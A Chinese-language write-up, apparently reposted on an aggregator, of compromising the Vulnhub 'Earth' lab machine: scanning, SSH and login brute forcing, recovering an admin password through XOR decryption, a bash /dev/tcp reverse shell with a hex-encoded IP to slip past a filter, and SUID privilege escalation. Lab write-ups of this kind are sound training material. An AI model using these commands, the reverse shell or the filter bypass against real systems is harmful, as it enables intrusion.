Vulnhub-Earth

news/2025/3/13 23:32:47/

一、靶机IP探测

 arp-scan -l

 

172.20.10.1是路由器IP,172.20.10.12是宿主机的IP,确定靶机IP为172.20.10.5.

二、端口扫描

 nmap -T4 -sV -p- -A 172.20.10.5

 

22端口是ssh端口,可以尝试爆破。

80和443两个端口是http端口,看到SAN(Subject Alternative Name)有两个域名。

三、端口分析

1、22端口ssh爆破

 hydra -l root -p ssh_password.txt 172.20.10.5 ssh

 

结果不出所料,失败。

2、http端口

通过浏览器访问80端口

 

80端口400.

访问443

 

443也一样。

根据经验,web业务一般都部署在80端口,所以对80端口进行分析。

服务器报400有两种可能。

1、错误的请求方式

2、不存在的域名

现在出现400可能是因为我们的dns没有解析域名。可以将扫描出来的两个域名进行绑定,然后尝试访问域名。

3、绑定域名

 sudo vim /etc/hosts

 

添加光标所在行的信息,然后保存退出。

四、访问网站

分别访问两个域名,发现长得一样。

 

在Message框里随便输入字符后提交,下面就会出现一行数字,判断是将输入的字符进行了一些加密操作得到的数字。

1、目录扫描

这里要注意http和https要分别进行扫描

 dirb http://earth.local

 

(https扫描结果和http相同)

发现了一个admin,访问后提示要login。

 

burpsuite爆破尝试一下。

 

intruder选择cluster bomb模式,选中两个要爆破的点位。

 

payload中设置爆破字典(kali的字典路径:/usr/share/wordlists)

爆破失败。

继续扫描另一个域名

 dirb http://terratest.earth.local

得到与上一个域名相同的文件。

扫描https

 dirb https://terratest.earth.local

 

robots.txt值得注意,访问一下。

 

最后这个应该是一个提示信息,访问一下,猜测后缀名是txt。

 https://terratest.earth.local/testingnotes.txt

 

翻译一下

测试安全消息系统注意事项:

*使用XOR加密作为算法,应该与RSA中使用的一样安全。

*地球已经确认他们收到了我们发送的信息。

*testdata.txt用于测试加密。

*terra用作管理门户的用户名。

待办事项:

*我们如何将每月的密钥安全地发送到地球?还是我们应该每周换一次钥匙?

*需要测试不同的密钥长度以防止暴力。钥匙应该多长时间?

*需要改进消息传递界面和管理面板的界面,它目前非常基本。

三条有用信息

加密算法是XOR(异或)

testdata.txt是加密文件

terra是管理员的用户名

先获取加密文件testdata.txt

According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

编写脚本解密

 #密文是test.txt,就是首页的三行数字。密钥是testdata.txtimport binasciitestdata = binascii.b2a_hex(open('testdata.txt','rb').read()).decode()for i in open('test.txt','r'):i = i.replace('\n','')print(hex(int(i,16) ^ int(testdata,16)))

得到结果

0x4163636f7264696e6720746f20726164696f6d657472696320646174696e6720657374696d6174696f6e20616e64206f746865722065766964656e63652c20456172746820666f726d6564206f76657220342e352062696c6c696f6e2079656172732061676f2e2057697468696e207468652066697273742062696c6c696f6e207965617273206f66204561727468277320686973436679202f2f7d6f6d6f3b2f70706561726527327e643b7f662427782c7f6a6a3d2a616c66332c6f717c79247736267c25516a76772b55203c40663b792f6a7f6b72307e683c506a31732e3d066997f3dc732d712c3c6a247b75676e247536267f2a2b6f2765726c6a7c6d6e6e2f3f3b2d277f31252c667b6b78382e607f6229228ce5996e70607573742a797a64317d7862693a6f7b297e73687d2c5e3623546a637937616a2c796e3e4868752d17736b6c2924496e2a27792f6479626a377074347e7522743d356a6768262379782a2b6677693d2f65617079726e63616e786b797f382f6b3c0b363d2b3180e8da712a497238786f22507c377766626e 0x4163636f7264696e6720746f20726164696f6d657472696320646174696e6720657374696d6174696f6e20616e64206f746865722065766964656e63652c20456172746820666f726d6564206f76657220342e352062696c6c696f6e2079656172732061676f2e2057697468696e207468652066697273742062696c6c696f6e207965617273206f66204561727468277320686973746f72792c206c69666520617070656172656420696e20746865206f6365616e7320616e6420626567616e20746f2061666665637420456172746827732061746d6f73706865726520616e6420737572666163652c206c656164696e6720746f207468652070726f6c5e72726c6a7e3c6576797f7b262a786b7c68246b61772d6f6320302d2777656231343669716324687465376166236065637e296f3e6b466e6b756b7a64747c613e797e63697976627e6a6e24364f3f30697e7f647c30767c246c78347e25356c33642a606d783661387b76636b65746469612025652c7b747239783e717b3177246826767e6f6178782d296966347476367075646b 0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174

将三个十六进制数分别转文本。

最后一个十六进制数转出来是earthclimatechangebad4humans 一直循环。

 

此时得到后台管理员账号密码

 账号:terra
 密码:earthclimatechangebad4humans

登录后台

 

看到一个窗口可以命令执行。

直接找flag文件

 find / -name "*flag*"

 

找到一个

 cat /var/earth_web/user_flag.txt

得到flag

 

2、反弹shell

现在kali开启监听

 nc -lvvp 1234

1234为监听的端口,也就是shell要反弹到的端口。

尝试反弹shell

 bash -i >& /dev/tcp/172.20.10.2/1234 0>&1

 

显示禁止远程连接。

猜测是对ip地址进行了检测。用16进制表示ip,命令改为

 bash -i >& /dev/tcp/0xac.0x14.0x0a.0x02/1234 0>&1

反弹成功

3、进行提权

查找具有SUID权限的文件

 find / -perm -u=s -type f 2>/dev/null

 

发现一个叫reset_root的文件。

查看属性并执行

 ls -al /usr/bin/reset_root

 

发现没有正确运行。需要调试改文件。

用strace命令

 strace

 

发现靶机上没有strace命令,需要拉回到攻击机上测试。

在攻击机上新开一个终端监听放射链接的输出。

 nc -nvlp 1234>reset_boot

 

靶机上执行,链接重定向命令

 

攻击机的监听终端接收到文件。

 

攻击机终端执行命令

 ls -al

 

用strace命令调试

 strace ./reset_root

 

发现权限不够。

需要chmod赋权。

 sudo chmod +x reset_root

再strace一次

 

发现缺了三个文件,在靶机上新建这三个对应文件就可以了。

 mkdir /dev/shm/kHgTFI5G
 mkdir /dev/shm/Zw7bV9U5
 mkdir /tmp/kcM0Wewe
 /usr/bin/reset_root

 

得到密码 Earth

PDF版WP下载链接

https://github.com/4ooooo/Vulnhub_WP/blob/main/Vulnerhub-Earth.pdf


http://www.ppmy.cn/news/853995.html

相关文章

docker安装与简单使用

文章目录 docker安装1.卸载原来安装过的docker,如果没有安装可以不需要卸载2.安装yum相关的工具,下载docker-ce.repo文件3.安装docker-ce软件4.启动docker服务 docker使用nginxdocker使用mysql解决启动失败的问题 docker安装 centos下安装docker 这里参…

《大大简化每次运行bochs的命令行》ubuntu里安装vscode + makefile文件基本编写 + shell命令

📍安装vscode 启动vscode 如图打开商店,在搜索栏里输入visual studio code,安装即可 在随便一个命令行里输入code即可打开vscode 📍makefile文件基本编写 在实验项目文件夹里创建makefile文件(vscode直接能快捷创…

YOLO下载库的问题

问题描述:下载gdown库时,出现403错误,具体如下 ERROR: HTTP error 403 while getting https://pypi.tuna.tsinghua.edu.cn/packages/e7/0c/9fb84c67bd827902bfadcdd209796ef32f95df8b23c39a6 06a5ee517b314/gdown-4.5.3.tar.gz#sha2566cbf7dd…

spark找不到服务器文件,在Standalone模式下执行Spark命令所产生的临时目录导致硬盘爆满的解决方法...

昨天,在执行spark-sql时,查询数据量超过1000万行,数据量大小7.6G,出现系统盘占用突然变高的情况,Job任务在运行过程中产生大量的临时目录位置,导致某个分区磁盘写满,主要原因spark运行产生临时目录的默认路径/tmp/spark检查为 /tmp 目录下,spark生成的临时目录占用了大…

动态路由 TheRouter 的设计与实践

这篇文章是我在 2022【GIAC 全球互联网架构大会】分享时所讲内容的文字版本,修改删减了演讲时的冗余言语,现开放给大家阅读,希望能给买不到票参加分享的 开源实验室 读者带来帮助。 大家好,今天跟大家分享的是一个开源路由TheRou…

IDEA懒人必备插件,自动生成单元测试,太爽了!

一安 一安未来 2023-03-01 08:00 发表于北京 收录于合集#第三方工具30个 大家好,我是一安~ 今天来介绍一款工具Squaretest,它是一款自动生成单元测试的插件,为什么会用到它? 主要因为最近公司上了代码质量管控的指…

[已解决]QObject::moveToThread: Current thread is not the object‘s thread...... --carla调试遇到的报错问题(1)

我在carla安装RGB相机遇到的报错: 1.线程报错:QObject::moveToThread: Current thread (0x7f632833ba40) is not the objects thread (0x7f63283b1ec0). Cannot move to target thread (0x7f632833ba40) 2.ModuleNotFoundError: No module named conda 文…

安卓学习笔记01:安装集成开发环境Android Studio

文章目录 一、下载Android Studio二、安装Android Studio1、双击安装程序进入安装向导2、选择安装组件3、选择安装位置4、选择开始菜单文件夹5、按照配置进行安装三、启动并配置Android Studio1、选择是否导入先前的Android Studio设置2、选择安装类型3、选择界面主题4、选择An…